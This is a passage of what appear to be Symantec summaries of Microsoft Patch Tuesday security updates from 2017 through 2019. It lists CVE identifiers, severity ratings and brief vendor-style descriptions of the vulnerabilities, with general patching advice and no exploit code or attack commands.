A privilege escalation vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft (MAU) Office Privilege Escalation Vulnerability (CVE-2018-8412) MS Rating: Important
A privilege escalation vulnerability exists when the Microsoft AutoUpdate (MAU) application for Mac improperly validates updates before executing them. An attacker who successfully exploited the vulnerability who already has the ability to execute code on a system could elevate privileges.
Windows Shell Remote Code Execution Vulnerability (CVE-2018-8414) MS Rating: Important
A remote code execution vulnerability exists when the Windows Shell does not properly validate file paths. An attacker who successfully exploited this vulnerability could run arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Device Guard Code
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8200) MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8204) MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – August 2019
This month the vendor has patched 93 vulnerabilities, 27 of which are rated Critical.
This month Microsoft has patched 93 vulnerabilities, 27 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the August 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Hyper-V
Graphics Device Interface (GDI)
Jet Database Engine
Visual Studio
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1131) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1133) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1139) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1140) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1141) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-1183) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Remote Code Execution Vulnerability (CVE-2019-1194) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1195) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1196) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1197) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2019-1030) MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins and improperly handles browser cookies. An attacker who successfully exploited this vulnerability could trick a browser into overwriting a secure cookie with an insecure cookie.
MS XML Remote Code Execution Vulnerability (CVE-2019-1057) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker who successfully exploited the vulnerability could run malicious code remotely to take control of the user's system.
Microsoft Browsers Security Bypass Vulnerability (CVE-2019-1192) MS Rating: Important
A security bypass vulnerability exists when Microsoft browsers improperly handle requests of different origins. The vulnerability allows Microsoft browsers to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-1193) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Outlook Memory Corruption Vulnerability (CVE-2019-1199) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Outlook when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2019-1200) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Outlook software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-1201) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft SharePoint Information Disclosure Vulnerability (CVE-2019-1202) MS Rating: Important
An information disclosure vulnerabilty exists in the way Microsoft SharePoint handles session objects. A locally authenticated attacker who successfully exploited the vulnerability could hijack the session of another user.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1203) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Outlook Privilege Escalation Vulnerability (CVE-2019-1204) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Outlook initiates processing of incoming messages without sufficient validation of the formatting of the messages. An attacker who successfully exploited the vulnerability could attempt to force Outlook to load a local or remote message store (over SMB).
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-1205) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Outlook iOS Spoofing Vulnerability (CVE-2019-1218) MS Rating: Important
A spoofing vulnerability exists in the way Microsoft Outlook iOS software parses specifically crafted email messages. An authenticated attacker could exploit the vulnerability by sending a specially crafted email message to a victim.
Cumulative Security Update for Microsoft Windows Kernel
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0965) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Hyper-V Remote Code Execution Vulnerability (CVE-2019-0720) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V Network Switch on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-1159) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1169) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1227) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1228) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Hyper-V
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0714) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0715) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0717) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0718) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0723) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Security Update for Microsoft Graphics
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1149) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1150) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1151) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1152) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1144) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2019-1145) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2019-1078) MS Rating: Important
An information disclosure vulnerability exists when the Windows Graphics component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Graphics Component Information Disclosure Vulnerability (CVE-2019-1143) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise a user's system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2019-1148) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2019-1153) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Graphics Component Information Disclosure Vulnerability (CVE-2019-1154) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise a user's system.
Windows Graphics Component Information Disclosure Vulnerability (CVE-2019-1158) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise a user's system.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2019-1164) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Security Update for Microsoft Windows
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1226) MS Rating: Critical
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1222) MS Rating: Critical
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Windows DHCP Server Remote Code Execution Vulnerability (CVE-2019-1213) MS Rating: Critical
A memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP server. An attacker who successfully exploited the vulnerability could run arbitrary code on the DHCP server.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1181) MS Rating: Critical
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
LNK Remote Code Execution Vulnerability (CVE-2019-1188) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a . LNK file is processed.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1182) MS Rating: Critical
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Windows DHCP Client Remote Code Execution Vulnerability (CVE-2019-0736) MS Rating: Critical
A memory corruption vulnerability exists in the Windows DHCP client when an attacker sends specially crafted DHCP responses to a client. An attacker who successfully exploited the vulnerability could run arbitrary code on the client machine.
Windows Denial of Service Vulnerability (CVE-2019-0716) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft Defender Privilege Escalation Vulnerability (CVE-2019-1161) MS Rating: Important
A privilege escalation vulnerability exists when the MpSigStub. exe for Defender allows file deletion in arbitrary locations.
Windows ALPC Privilege Escalation Vulnerability (CVE-2019-1162) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the local system.
Windows File Signature Security Bypass Vulnerability (CVE-2019-1163) MS Rating: Important
A security bypass exists when Windows incorrectly validates CAB file signatures. An attacker who successfully exploited this vulnerability could inject code into a CAB file without invalidating the file's signature.
Microsoft Windows p2pimsvc Privilege Escalation Vulnerability (CVE-2019-1168) MS Rating: Important
A privilege escalation exists in the p2pimsvc service where an attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges. To exploit this vulnerability, an attacker would first have to log on to the system.
Windows Shell Privilege Escalation Vulnerability (CVE-2019-1170) MS Rating: Important
A privilege escalation vulnerability exists when reparse points are created by sandboxed processes allowing sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system.
SymCrypt Information Disclosure Vulnerability (CVE-2019-1171) MS Rating: Important
An information disclosure vulnerability exists in SymCrypt during the OAEP decryption stage. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Information Disclosure Vulnerability (CVE-2019-1172) MS Rating: Important
An information disclosure vulnerability exists in Azure Active Directory (AAD) Microsoft Account (MSA) during the login request session. An attacker who successfully exploited the vulnerability could take over a user's account.
Windows Privilege Escalation Vulnerability (CVE-2019-1173) MS Rating: Important
A privilege escalation vulnerability exists in the way that the PsmServiceExtHost. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1174) MS Rating: Important
A privilege escalation vulnerability exists in the way that the PsmServiceExtHost. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1175) MS Rating: Important
A privilege escalation vulnerability exists in the way that the psmsrv. dll handles objects in memory.
DirectX Privilege Escalation Vulnerability (CVE-2019-1176) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Privilege Escalation Vulnerability (CVE-2019-1177) MS Rating: Important
A privilege escalation vulnerability exists in the way that the rpcss. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1178) MS Rating: Important
A privilege escalation vulnerability exists in the way that the ssdpsrv. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1179) MS Rating: Important
A privilege escalation vulnerability exists in the way that the unistore. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1180) MS Rating: Important
A privilege escalation vulnerability exists in the way that the wcmsvc. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1184) MS Rating: Important
A privilege escalation vulnerability exists when Windows Core Shell COM Server Registrar improperly handles COM calls. An attacker who successfully exploited this vulnerability could potentially set certain items to run at a higher level and thereby elevate permissions.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-1185) MS Rating: Important
A privilege escalation vulnerability exists due to a stack corruption in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2019-1186) MS Rating: Important
A privilege escalation vulnerability exists in the way that the wcmsvc. dll handles objects in memory.
XmlLite runtime Denial of Service Vulnerability (CVE-2019-1187) MS Rating: Important
A denial of service vulnerability exists when the XmlLite runtime (XmlLite. dll) improperly parses XML input.
Windows Image Privilege Escalation Vulnerability (CVE-2019-1190) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows kernel image handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1198) MS Rating: Important
A privilege escalation exists in SyncController. dll.
Windows DHCP Server Remote Code Execution Vulnerability (CVE-2019-1206) MS Rating: Important
A memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP failover server. An attacker who successfully exploited the vulnerability could cause the DHCP service to become nonresponsive.
Windows DHCP Server Denial of Service Vulnerability (CVE-2019-1212) MS Rating: Important
A memory corruption vulnerability exists in the Windows Server DHCP service when processing specially crafted packets. An attacker who successfully exploited the vulnerability could cause the DHCP server service to stop responding.
Bluetooth Key Length Enforcement (CVE-2019-9506) MS Rating: Important
Executive Summary Microsoft is aware of the Bluetooth BR/EDR (basic rate/enhanced data rate, known as "Bluetooth Classic") key negotiation vulnerability that exists at the hardware specification level of any BR/EDR Bluetooth device. An attacker could potentially be able to negotiate the offered key length down to 1 byte of entropy, from a maximum of 16 bytes.
HTTP/2 Server Denial of Service Vulnerability (CVE-2019-9511) MS Rating: Important
A denial of service vulnerability exists in the HTTP/2 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP/2 requests.
HTTP/2 Server Denial of Service Vulnerability (CVE-2019-9513) MS Rating: Important
A denial of service vulnerability exists in the HTTP/2 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP/2 requests.
HTTP/2 Server Denial of Service Vulnerability (CVE-2019-9514) MS Rating: Important
A denial of service vulnerability exists in the HTTP/2 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP/2 requests.
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability (CVE-2019-1223) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP service on the target system to stop responding.
Remote Desktop Protocol Server Information Disclosure Vulnerability (CVE-2019-1224) MS Rating: Important
An information disclosure vulnerability exists when the Windows RDP server improperly discloses the contents of its memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the system.
Remote Desktop Protocol Server Information Disclosure Vulnerability (CVE-2019-1225) MS Rating: Important
An information disclosure vulnerability exists when the Windows RDP server improperly discloses the contents of its memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the system.
Dynamics On-Premise Elevation of Privilege Vulnerability (CVE-2019-1229) MS Rating: Important
An elevation of privilege vulnerability exists in Dynamics On-Premise v9. An attacker who successfully exploited the vulnerability could leverage a customizer privilege within Dynamics to gain control of the Web Role hosting the Dynamics installation.
HTTP/2 Server Denial of Service Vulnerability (CVE-2019-9512) MS Rating: Important
A denial of service vulnerability exists in the HTTP/2 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP/2 requests.
HTTP/2 Server Denial of Service Vulnerability (CVE-2019-9518) MS Rating: Important
A denial of service vulnerability exists in the HTTP/2 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP/2 requests.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1155) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1156) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1157) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1146) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1147) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for Visual Studio
Git for Visual Studio Privilege Escalation Vulnerability (CVE-2019-1211) MS Rating: Important
A privilege escalation vulnerability exists in Git for Visual Studio when it improperly parses configuration files. An attacker who successfully exploited the vulnerability could execute code in the context of another local user.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – December 2017
This month the vendor has patched 32 vulnerabilities, 19 of which are rated Critical.
This month, Microsoft has patched 32 vulnerabilities, 19 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the December 2017 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Microsoft Internet Explorer
Microsoft Edge
Microsoft ChakraCore
Microsoft Office
Microsoft Exchange Server
Microsoft Windows
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Edge Memory Corruption Vulnerability (CVE-2017-11888) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11889) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11893) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11886) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11890) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11894) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11895) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11901) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11903) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11914) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11905) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11907) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11908) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory.This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11909) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory.This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11910) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11911) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11912) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11918) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2017-11919) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11930) MS Rating: Important
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2017-11887) MS Rating: Important
An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Scripting Engine Information Disclosure Vulnerability (CVE-2017-11906) MS Rating: Important
